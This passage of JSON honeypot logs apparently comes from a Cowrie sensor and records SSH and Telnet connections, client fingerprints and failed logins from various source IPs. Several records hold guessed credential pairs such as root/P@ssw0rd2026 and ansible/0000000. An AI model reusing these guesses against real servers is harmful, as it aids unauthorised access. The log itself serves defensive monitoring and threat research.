16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:41.314954Z","src_ip":"80.94.92.182","session":"dc2d290bc033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opadmin","password":"opadmin","message":"login attempt [opadmin/opadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:41.858309Z","src_ip":"80.94.92.182","session":"dc2d290bc033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":55072,"dst_ip":"159.203.135.109","dst_port":23,"session":"554267f5936a","protocol":"telnet","message":"New connection: 161.97.124.15:55072 (159.203.135.109:23) [session: 554267f5936a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:42.233232Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:42.286650Z","src_ip":"202.184.144.220","session":"6efde606cc52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:42.964284Z","src_ip":"80.94.92.182","session":"dc2d290bc033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":57904,"dst_ip":"159.203.135.109","dst_port":23,"session":"4578c9b55c3b","protocol":"telnet","message":"New connection: 161.97.124.15:57904 (159.203.135.109:23) [session: 4578c9b55c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:43.280457Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36750,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb5a7a866143","protocol":"ssh","message":"New connection: 176.65.139.103:36750 (10.17.0.5:22) [session: eb5a7a866143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:45.458899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:45.462999Z","src_ip":"176.65.139.103","session":"eb5a7a866143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:45.560500Z","src_ip":"176.65.139.103","session":"eb5a7a866143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:45.826399Z","src_ip":"176.65.139.103","session":"eb5a7a866143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:46.956630Z","src_ip":"176.65.139.103","session":"eb5a7a866143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":38644,"dst_ip":"159.203.135.109","dst_port":23,"session":"10e9d80e39e2","protocol":"telnet","message":"New connection: 161.97.124.15:38644 (159.203.135.109:23) [session: 10e9d80e39e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:47.452370Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":40334,"dst_ip":"159.203.135.109","dst_port":23,"session":"85386d0b7060","protocol":"telnet","message":"New connection: 161.97.124.15:40334 (159.203.135.109:23) [session: 85386d0b7060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:48.322063Z"}
{"eventid":"cowrie.session.closed","duration":38.68866801261902,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:48.335435Z","src_ip":"185.26.126.47","session":"416533247347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":40554,"dst_ip":"159.203.135.109","dst_port":23,"session":"03a0b1f1f8d0","protocol":"telnet","message":"New connection: 161.97.124.15:40554 (159.203.135.109:23) [session: 03a0b1f1f8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:48.432824Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54498,"dst_ip":"10.17.0.5","dst_port":22,"session":"376c271ec991","protocol":"ssh","message":"New connection: 176.65.139.103:54498 (10.17.0.5:22) [session: 376c271ec991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:53.210363Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":50188,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf79d3ecd9d8","protocol":"ssh","message":"New connection: 103.176.20.115:50188 (10.17.0.5:22) [session: bf79d3ecd9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:53.214828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:53.217170Z","src_ip":"176.65.139.103","session":"376c271ec991","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:53.220084Z","src_ip":"103.176.20.115","session":"bf79d3ecd9d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:53.297790Z","src_ip":"176.65.139.103","session":"376c271ec991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:53.478704Z","src_ip":"103.176.20.115","session":"bf79d3ecd9d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:53.609232Z","src_ip":"176.65.139.103","session":"376c271ec991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp_user","message":"login attempt [ftp_user/ftp_user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:54.550403Z","src_ip":"103.176.20.115","session":"bf79d3ecd9d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:54.828276Z","src_ip":"176.65.139.103","session":"376c271ec991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.26909327507019,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:55.124512Z","src_ip":"213.136.75.179","session":"632f3292642e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:55.811931Z","src_ip":"103.176.20.115","session":"bf79d3ecd9d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":60222,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3ddfc441a30","protocol":"telnet","message":"New connection: 161.97.124.15:60222 (159.203.135.109:23) [session: a3ddfc441a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:57.713918Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.207.8.90","src_port":33892,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa96689e2716","protocol":"telnet","message":"New connection: 115.207.8.90:33892 (10.17.0.5:23) [session: fa96689e2716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:58.776456Z"}
{"eventid":"cowrie.session.closed","duration":35.46611976623535,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:58.932606Z","src_ip":"213.136.75.179","session":"9259f17cc22e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54510,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d5273945c5d","protocol":"ssh","message":"New connection: 176.65.139.103:54510 (10.17.0.5:22) [session: 5d5273945c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:00.041569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:00.056874Z","src_ip":"176.65.139.103","session":"5d5273945c5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:00.129046Z","src_ip":"176.65.139.103","session":"5d5273945c5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:00.519259Z","src_ip":"176.65.139.103","session":"5d5273945c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:01.622394Z","src_ip":"176.65.139.103","session":"5d5273945c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49550,"dst_ip":"10.17.0.5","dst_port":22,"session":"8744cea1f247","protocol":"ssh","message":"New connection: 176.65.139.103:49550 (10.17.0.5:22) [session: 8744cea1f247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:06.527906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:06.532961Z","src_ip":"176.65.139.103","session":"8744cea1f247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:06.616283Z","src_ip":"176.65.139.103","session":"8744cea1f247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:06.966621Z","src_ip":"176.65.139.103","session":"8744cea1f247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55306,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f9b5b48f256","protocol":"ssh","message":"New connection: 159.203.92.129:55306 (159.203.135.109:22) [session: 0f9b5b48f256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:08.079988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:08.086161Z","src_ip":"159.203.92.129","session":"0f9b5b48f256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:08.089767Z","src_ip":"159.203.92.129","session":"0f9b5b48f256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"0000000","message":"login attempt [ansible/0000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:08.103524Z","src_ip":"159.203.92.129","session":"0f9b5b48f256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:08.146221Z","src_ip":"176.65.139.103","session":"8744cea1f247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.16549587249756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:09.053547Z","src_ip":"161.97.124.15","session":"c57b5c74f333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67382526397705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:09.058522Z","src_ip":"161.97.124.15","session":"b5977aa03505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:09.108276Z","src_ip":"159.203.92.129","session":"0f9b5b48f256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.304714918136597,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:11.081074Z","src_ip":"115.207.8.90","session":"fa96689e2716","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81534194946289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:13.048482Z","src_ip":"161.97.124.15","session":"554267f5936a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40730,"dst_ip":"10.17.0.5","dst_port":22,"session":"64a2450598ac","protocol":"ssh","message":"New connection: 176.65.139.103:40730 (10.17.0.5:22) [session: 64a2450598ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:13.165272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:52:13.170221Z","src_ip":"176.65.139.103","session":"64a2450598ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@opens